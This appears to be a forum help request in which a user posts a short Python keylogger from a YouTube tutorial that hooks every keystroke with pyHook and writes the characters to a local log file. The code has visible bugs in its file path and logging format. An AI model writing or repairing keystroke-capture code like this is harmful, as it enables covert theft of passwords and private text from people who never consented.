I followed a tutorial on youtube that was pretty flawed to begin with but it was the best I could find. I have pywin32 installed and pyhook and they are both installed so I have no idea what it could be.
import pyHook, pythoncom, sys, logging
file_log = 'C:\Users\Nathan\Fun Stuff\log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()